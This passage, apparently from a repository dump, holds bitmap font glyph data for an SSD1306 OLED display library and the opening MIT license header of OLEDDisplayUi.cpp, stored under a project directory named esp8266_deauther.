0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x00,0x00,0x00,0xF8,0x03,0x00,0x00,0x1E,0x03,0x00,0x00,0x07,0x07,0x00,0xE6,0x03,0x06,0x00,0xE6,0x01,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x07,0x00,0x00,0x80,0x03,0x00,0x00,0xC0,0x01,0x00,0x00,0xC0, // 191\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3E,0x00,0x00,0x80,0x0F,0x00,0x00,0xF0,0x03,0x00,0x00,0xFE,0x01,0x00,0x82,0x8F,0x01,0x00,0xE6,0x83,0x01,0x00,0x6E,0x80,0x01,0x00,0xE8,0x83,0x01,0x00,0x80,0x8F,0x01,0x00,0x00,0xFE,0x01,0x00,0x00,0xF0,0x03,0x00,0x00,0x80,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x30, // 192\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3E,0x00,0x00,0x80,0x0F,0x00,0x00,0xF0,0x03,0x00,0x00,0xFE,0x01,0x00,0x80,0x8F,0x01,0x00,0xE8,0x83,0x01,0x00,0x6E,0x80,0x01,0x00,0xE6,0x83,0x01,0x00,0x82,0x8F,0x01,0x00,0x00,0xFE,0x01,0x00,0x00,0xF0,0x03,0x00,0x00,0x80,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x30, // 193\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3E,0x00,0x00,0x80,0x0F,0x00,0x00,0xF0,0x03,0x00,0x00,0xFE,0x01,0x00,0x88,0x8F,0x01,0x00,0xEC,0x83,0x01,0x00,0x66,0x80,0x01,0x00,0xE6,0x83,0x01,0x00,0x8C,0x8F,0x01,0x00,0x08,0xFE,0x01,0x00,0x00,0xF0,0x03,0x00,0x00,0x80,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x30, // 194\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3E,0x00,0x00,0x80,0x0F,0x00,0x00,0xF0,0x03,0x00,0x0C,0xFE,0x01,0x00,0x8E,0x8F,0x01,0x00,0xE6,0x83,0x01,0x00,0x66,0x80,0x01,0x00,0xEC,0x83,0x01,0x00,0x8C,0x8F,0x01,0x00,0x0E,0xFE,0x01,0x00,0x06,0xF0,0x03,0x00,0x00,0x80,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x30, // 195\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3E,0x00,0x00,0x80,0x0F,0x00,0x00,0xF0,0x03,0x00,0x00,0xFE,0x01,0x00,0x8C,0x8F,0x01,0x00,0xEC,0x83,0x01,0x00,0x60,0x80,0x01,0x00,0xE0,0x83,0x01,0x00,0x8C,0x8F,0x01,0x00,0x0C,0xFE,0x01,0x00,0x00,0xF0,0x03,0x00,0x00,0x80,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x30, // 196\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3E,0x00,0x00,0x80,0x0F,0x00,0x00,0xF0,0x03,0x00,0x00,0xFE,0x01,0x00,0x9C,0x8F,0x01,0x00,0xE2,0x83,0x01,0x00,0x62,0x80,0x01,0x00,0xE2,0x83,0x01,0x00,0x9C,0x8F,0x01,0x00,0x00,0xFE,0x01,0x00,0x00,0xF0,0x03,0x00,0x00,0x80,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x30, // 197\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x0F,0x00,0x00,0xC0,0x03,0x00,0x00,0xF0,0x01,0x00,0x00,0xBC,0x01,0x00,0x00,0x8F,0x01,0x00,0xC0,0x83,0x01,0x00,0xE0,0x80,0x01,0x00,0x60,0x80,0x01,0x00,0x60,0x80,0x01,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x00,0x30, // 198\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xC0,0x00,0x18,0x00,0x60,0x00,0x30,0x02,0x60,0x00,0x30,0x02,0x60,0x00,0xF0,0x02,0x60,0x00,0xB0,0x03,0x60,0x00,0x30,0x01,0x60,0x00,0x30,0x00,0xC0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x03,0x0F,0x00,0x00,0x02,0x03, // 199\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x62,0x30,0x30,0x00,0x66,0x30,0x30,0x00,0x6E,0x30,0x30,0x00,0x68,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x00,0x30, // 200\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x68,0x30,0x30,0x00,0x6E,0x30,0x30,0x00,0x66,0x30,0x30,0x00,0x62,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x00,0x30, // 201\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x68,0x30,0x30,0x00,0x6C,0x30,0x30,0x00,0x66,0x30,0x30,0x00,0x66,0x30,0x30,0x00,0x6C,0x30,0x30,0x00,0x68,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x00,0x30, // 202\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x6C,0x30,0x30,0x00,0x6C,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x6C,0x30,0x30,0x00,0x6C,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x00,0x30, // 203\n  0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0xE6,0xFF,0x3F,0x00,0xEE,0xFF,0x3F,0x00,0x08, // 204\n  0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0xEE,0xFF,0x3F,0x00,0xE6,0xFF,0x3F,0x00,0x02, // 205\n  0x08,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0xE6,0xFF,0x3F,0x00,0xE6,0xFF,0x3F,0x00,0x0C,0x00,0x00,0x00,0x08, // 206\n  0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x0C,0x00,0x00,0x00,0x0C, // 207\n  0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0xE0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x03,0x0E,0x00,0x00,0xFF,0x07,0x00,0x00,0xFC,0x01, // 208\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0xC0,0x01,0x00,0x00,0x8C,0x03,0x00,0x00,0x0E,0x0E,0x00,0x00,0x06,0x3C,0x00,0x00,0x06,0x70,0x00,0x00,0x0C,0xE0,0x01,0x00,0x0C,0x80,0x03,0x00,0x0E,0x00,0x0F,0x00,0x06,0x00,0x1C,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F, // 209\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xC0,0x00,0x18,0x00,0xE0,0x00,0x38,0x00,0x62,0x00,0x30,0x00,0x66,0x00,0x30,0x00,0x6E,0x00,0x30,0x00,0x68,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0xE0,0x00,0x38,0x00,0xC0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x07,0x0F,0x00,0x00,0xFF,0x07,0x00,0x00,0xFC,0x01, // 210\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xC0,0x00,0x18,0x00,0xE0,0x00,0x38,0x00,0x60,0x00,0x30,0x00,0x68,0x00,0x30,0x00,0x6E,0x00,0x30,0x00,0x66,0x00,0x30,0x00,0x62,0x00,0x30,0x00,0xE0,0x00,0x38,0x00,0xC0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x07,0x0F,0x00,0x00,0xFF,0x07,0x00,0x00,0xFC,0x01, // 211\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xC0,0x00,0x18,0x00,0xE0,0x00,0x38,0x00,0x68,0x00,0x30,0x00,0x6C,0x00,0x30,0x00,0x66,0x00,0x30,0x00,0x66,0x00,0x30,0x00,0x6C,0x00,0x30,0x00,0xE8,0x00,0x38,0x00,0xC0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x07,0x0F,0x00,0x00,0xFF,0x07,0x00,0x00,0xFC,0x01, // 212\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xCC,0x00,0x18,0x00,0xEE,0x00,0x38,0x00,0x66,0x00,0x30,0x00,0x66,0x00,0x30,0x00,0x6C,0x00,0x30,0x00,0x6C,0x00,0x30,0x00,0x6E,0x00,0x30,0x00,0xE6,0x00,0x38,0x00,0xC0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x07,0x0F,0x00,0x00,0xFF,0x07,0x00,0x00,0xFC,0x01, // 213\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xC0,0x00,0x18,0x00,0xE0,0x00,0x38,0x00,0x6C,0x00,0x30,0x00,0x6C,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x6C,0x00,0x30,0x00,0xEC,0x00,0x38,0x00,0xC0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x07,0x0F,0x00,0x00,0xFF,0x07,0x00,0x00,0xFC,0x01, // 214\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x03,0x00,0x00,0x8E,0x03,0x00,0x00,0xDC,0x01,0x00,0x00,0xF8,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0xF8,0x00,0x00,0x00,0xDC,0x01,0x00,0x00,0x8E,0x03,0x00,0x00,0x06,0x03, // 215\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x21,0x00,0x00,0xFF,0x77,0x00,0x80,0x07,0x3F,0x00,0xC0,0x01,0x1E,0x00,0xC0,0x00,0x1F,0x00,0xE0,0x80,0x3B,0x00,0x60,0xC0,0x31,0x00,0x60,0xE0,0x30,0x00,0x60,0x70,0x30,0x00,0x60,0x38,0x30,0x00,0x60,0x1C,0x30,0x00,0xE0,0x0E,0x38,0x00,0xC0,0x07,0x18,0x00,0xC0,0x03,0x1C,0x00,0xE0,0x07,0x0F,0x00,0x70,0xFF,0x07,0x00,0x20,0xFC,0x01, // 216\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x03,0x00,0xE0,0xFF,0x0F,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x38,0x00,0x02,0x00,0x30,0x00,0x06,0x00,0x30,0x00,0x0E,0x00,0x30,0x00,0x08,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x1C,0x00,0xE0,0xFF,0x0F,0x00,0xE0,0xFF,0x03, // 217\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x03,0x00,0xE0,0xFF,0x0F,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x30,0x00,0x08,0x00,0x30,0x00,0x0E,0x00,0x30,0x00,0x06,0x00,0x30,0x00,0x02,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x1C,0x00,0xE0,0xFF,0x0F,0x00,0xE0,0xFF,0x03, // 218\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x03,0x00,0xE0,0xFF,0x0F,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x38,0x00,0x08,0x00,0x30,0x00,0x0C,0x00,0x30,0x00,0x06,0x00,0x30,0x00,0x06,0x00,0x30,0x00,0x0C,0x00,0x30,0x00,0x08,0x00,0x38,0x00,0x00,0x00,0x1C,0x00,0xE0,0xFF,0x0F,0x00,0xE0,0xFF,0x03, // 219\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x03,0x00,0xE0,0xFF,0x0F,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x38,0x00,0x0C,0x00,0x30,0x00,0x0C,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x0C,0x00,0x30,0x00,0x0C,0x00,0x38,0x00,0x00,0x00,0x1C,0x00,0xE0,0xFF,0x0F,0x00,0xE0,0xFF,0x03, // 220\n  0x20,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x80,0x03,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x3C,0x00,0x00,0x08,0xF0,0x3F,0x00,0x0E,0xF0,0x3F,0x00,0x06,0x3C,0x00,0x00,0x02,0x1E,0x00,0x00,0x00,0x07,0x00,0x00,0xC0,0x03,0x00,0x00,0xE0,0x01,0x00,0x00,0x60,0x00,0x00,0x00,0x20, // 221\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0x03,0x06,0x00,0x00,0x03,0x06,0x00,0x00,0x03,0x06,0x00,0x00,0x03,0x06,0x00,0x00,0x03,0x06,0x00,0x00,0x03,0x06,0x00,0x00,0x03,0x06,0x00,0x00,0x03,0x07,0x00,0x00,0x86,0x03,0x00,0x00,0xFE,0x01,0x00,0x00,0xF8,  // 222\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xFF,0x3F,0x00,0xC0,0xFF,0x3F,0x00,0xC0,0x00,0x00,0x00,0x60,0x00,0x08,0x00,0x60,0x00,0x1C,0x00,0x60,0x00,0x38,0x00,0xE0,0x78,0x30,0x00,0xC0,0x7F,0x30,0x00,0x80,0xC7,0x30,0x00,0x00,0x80,0x39,0x00,0x00,0x80,0x1F,0x00,0x00,0x00,0x0F, // 223\n  0x00,0x00,0x00,0x00,0x00,0x18,0x0E,0x00,0x00,0x1C,0x1F,0x00,0x00,0x8C,0x39,0x00,0x20,0x86,0x31,0x00,0x60,0x86,0x31,0x00,0xE0,0xC6,0x30,0x00,0x80,0xC6,0x18,0x00,0x00,0xCE,0x0C,0x00,0x00,0xFC,0x1F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x00,0x20, // 224\n  0x00,0x00,0x00,0x00,0x00,0x18,0x0E,0x00,0x00,0x1C,0x1F,0x00,0x00,0x8C,0x39,0x00,0x00,0x86,0x31,0x00,0x80,0x86,0x31,0x00,0xE0,0xC6,0x30,0x00,0x60,0xC6,0x18,0x00,0x20,0xCE,0x0C,0x00,0x00,0xFC,0x1F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x00,0x20, // 225\n  0x00,0x00,0x00,0x00,0x00,0x18,0x0E,0x00,0x00,0x1C,0x1F,0x00,0x80,0x8C,0x39,0x00,0xC0,0x86,0x31,0x00,0x60,0x86,0x31,0x00,0x60,0xC6,0x30,0x00,0xC0,0xC6,0x18,0x00,0x80,0xCE,0x0C,0x00,0x00,0xFC,0x1F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x00,0x20, // 226\n  0x00,0x00,0x00,0x00,0x00,0x18,0x0E,0x00,0xC0,0x1C,0x1F,0x00,0xE0,0x8C,0x39,0x00,0x60,0x86,0x31,0x00,0x60,0x86,0x31,0x00,0xC0,0xC6,0x30,0x00,0xC0,0xC6,0x18,0x00,0xE0,0xCE,0x0C,0x00,0x60,0xFC,0x1F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x00,0x20, // 227\n  0x00,0x00,0x00,0x00,0x00,0x18,0x0E,0x00,0x00,0x1C,0x1F,0x00,0xC0,0x8C,0x39,0x00,0xC0,0x86,0x31,0x00,0x00,0x86,0x31,0x00,0x00,0xC6,0x30,0x00,0xC0,0xC6,0x18,0x00,0xC0,0xCE,0x0C,0x00,0x00,0xFC,0x1F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x00,0x20, // 228\n  0x00,0x00,0x00,0x00,0x00,0x18,0x0E,0x00,0x00,0x1C,0x1F,0x00,0x00,0x8C,0x39,0x00,0x70,0x86,0x31,0x00,0x88,0x86,0x31,0x00,0x88,0xC6,0x30,0x00,0x88,0xC6,0x18,0x00,0x70,0xCE,0x0C,0x00,0x00,0xFC,0x1F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x00,0x20, // 229\n  0x00,0x00,0x00,0x00,0x00,0x10,0x0F,0x00,0x00,0x9C,0x1F,0x00,0x00,0xCC,0x39,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0x66,0x18,0x00,0x00,0x6E,0x1C,0x00,0x00,0xFC,0x0F,0x00,0x00,0xFC,0x1F,0x00,0x00,0xCC,0x1C,0x00,0x00,0xCE,0x38,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xCC,0x18,0x00,0x00,0xF8,0x0C,0x00,0x00,0xE0,0x04, // 230\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x0E,0x38,0x02,0x00,0x06,0x30,0x02,0x00,0x06,0xF0,0x02,0x00,0x06,0xB0,0x03,0x00,0x0E,0x38,0x01,0x00,0x1C,0x1C,0x00,0x00,0x18,0x0C, // 231\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0xDC,0x1C,0x00,0x20,0xCE,0x38,0x00,0x60,0xC6,0x30,0x00,0xE0,0xC6,0x30,0x00,0x80,0xC6,0x30,0x00,0x00,0xCE,0x38,0x00,0x00,0xDC,0x18,0x00,0x00,0xF8,0x0C,0x00,0x00,0xF0,0x04, // 232\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0xDC,0x1C,0x00,0x00,0xCE,0x38,0x00,0x80,0xC6,0x30,0x00,0xE0,0xC6,0x30,0x00,0x60,0xC6,0x30,0x00,0x20,0xCE,0x38,0x00,0x00,0xDC,0x18,0x00,0x00,0xF8,0x0C,0x00,0x00,0xF0,0x04, // 233\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0xDC,0x1C,0x00,0x80,0xCE,0x38,0x00,0xC0,0xC6,0x30,0x00,0x60,0xC6,0x30,0x00,0x60,0xC6,0x30,0x00,0xC0,0xCE,0x38,0x00,0x80,0xDC,0x18,0x00,0x00,0xF8,0x0C,0x00,0x00,0xF0,0x04, // 234\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0xDC,0x1C,0x00,0xC0,0xCE,0x38,0x00,0xC0,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0xC0,0xCE,0x38,0x00,0xC0,0xDC,0x18,0x00,0x00,0xF8,0x0C,0x00,0x00,0xF0,0x04, // 235\n  0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x60,0xFE,0x3F,0x00,0xE0,0xFE,0x3F,0x00,0x80, // 236\n  0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0xE0,0xFE,0x3F,0x00,0x60,0xFE,0x3F,0x00,0x20, // 237\n  0x80,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x60,0xFE,0x3F,0x00,0x60,0xFE,0x3F,0x00,0xC0,0x00,0x00,0x00,0x80, // 238\n  0xC0,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F,0x00,0xC0,0x00,0x00,0x00,0xC0, // 239\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1D,0x1C,0x00,0xA0,0x0F,0x38,0x00,0xA0,0x06,0x30,0x00,0xE0,0x06,0x30,0x00,0xC0,0x06,0x30,0x00,0xC0,0x0F,0x38,0x00,0x20,0x1F,0x1C,0x00,0x00,0xFC,0x0F,0x00,0x00,0xE0,0x07, // 240\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x3F,0x00,0xC0,0xFE,0x3F,0x00,0xE0,0x18,0x00,0x00,0x60,0x0C,0x00,0x00,0x60,0x06,0x00,0x00,0xC0,0x06,0x00,0x00,0xC0,0x06,0x00,0x00,0xE0,0x0E,0x00,0x00,0x60,0xFC,0x3F,0x00,0x00,0xF8,0x3F, // 241\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x20,0x0E,0x38,0x00,0x60,0x06,0x30,0x00,0xE0,0x06,0x30,0x00,0x80,0x06,0x30,0x00,0x00,0x0E,0x38,0x00,0x00,0x1C,0x1C,0x00,0x00,0xF8,0x0F,0x00,0x00,0xF0,0x07, // 242\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x0E,0x38,0x00,0x80,0x06,0x30,0x00,0xE0,0x06,0x30,0x00,0x60,0x06,0x30,0x00,0x20,0x0E,0x38,0x00,0x00,0x1C,0x1C,0x00,0x00,0xF8,0x0F,0x00,0x00,0xF0,0x07, // 243\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x80,0x0E,0x38,0x00,0xC0,0x06,0x30,0x00,0x60,0x06,0x30,0x00,0x60,0x06,0x30,0x00,0xC0,0x0E,0x38,0x00,0x80,0x1C,0x1C,0x00,0x00,0xF8,0x0F,0x00,0x00,0xF0,0x07, // 244\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0xC0,0x1C,0x1C,0x00,0xE0,0x0E,0x38,0x00,0x60,0x06,0x30,0x00,0x60,0x06,0x30,0x00,0xC0,0x06,0x30,0x00,0xC0,0x0E,0x38,0x00,0xE0,0x1C,0x1C,0x00,0x60,0xF8,0x0F,0x00,0x00,0xF0,0x07, // 245\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0xC0,0x0E,0x38,0x00,0xC0,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0xC0,0x0E,0x38,0x00,0xC0,0x1C,0x1C,0x00,0x00,0xF8,0x0F,0x00,0x00,0xF0,0x07, // 246\n  0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0xB6,0x01,0x00,0x00,0xB6,0x01,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,  // 247\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x67,0x00,0x00,0xF8,0x7F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x0E,0x3F,0x00,0x00,0x86,0x33,0x00,0x00,0xE6,0x31,0x00,0x00,0x76,0x30,0x00,0x00,0x3E,0x38,0x00,0x00,0x1C,0x1C,0x00,0x00,0xFF,0x0F,0x00,0x00,0xF3,0x07, // 248\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x0F,0x00,0x00,0xFE,0x1F,0x00,0x20,0x00,0x38,0x00,0x60,0x00,0x30,0x00,0xE0,0x00,0x30,0x00,0x80,0x00,0x30,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x0C,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F, // 249\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x0F,0x00,0x00,0xFE,0x1F,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x30,0x00,0x80,0x00,0x30,0x00,0xE0,0x00,0x30,0x00,0x60,0x00,0x18,0x00,0x20,0x00,0x0C,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F, // 250\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x0F,0x00,0x00,0xFE,0x1F,0x00,0x80,0x00,0x38,0x00,0xC0,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0xC0,0x00,0x18,0x00,0x80,0x00,0x0C,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F, // 251\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x0F,0x00,0x00,0xFE,0x1F,0x00,0xC0,0x00,0x38,0x00,0xC0,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0xC0,0x00,0x18,0x00,0xC0,0x00,0x0C,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F, // 252\n  0x00,0x00,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x7E,0x00,0x06,0x00,0xF0,0x01,0x06,0x00,0x80,0x0F,0x07,0x80,0x00,0xFE,0x03,0xE0,0x00,0xFC,0x00,0x60,0xC0,0x1F,0x00,0x20,0xF8,0x03,0x00,0x00,0x3E,0x00,0x00,0x00,0x06,  // 253\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x07,0xE0,0xFF,0xFF,0x07,0x00,0x1C,0x18,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x0E,0x38,0x00,0x00,0x1C,0x1C,0x00,0x00,0xF8,0x0F,0x00,0x00,0xF0,0x03, // 254\n  0x00,0x00,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x7E,0x00,0x06,0xC0,0xF0,0x01,0x06,0xC0,0x80,0x0F,0x07,0x00,0x00,0xFE,0x03,0x00,0x00,0xFC,0x00,0xC0,0xC0,0x1F,0x00,0xC0,0xF8,0x03,0x00,0x00,0x3E,0x00,0x00,0x00,0x06 // 255\n};\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayUi.cpp",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n * Copyright (c) 2019 by Helmut Tschemernjak - www.radioshuttle.de\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER 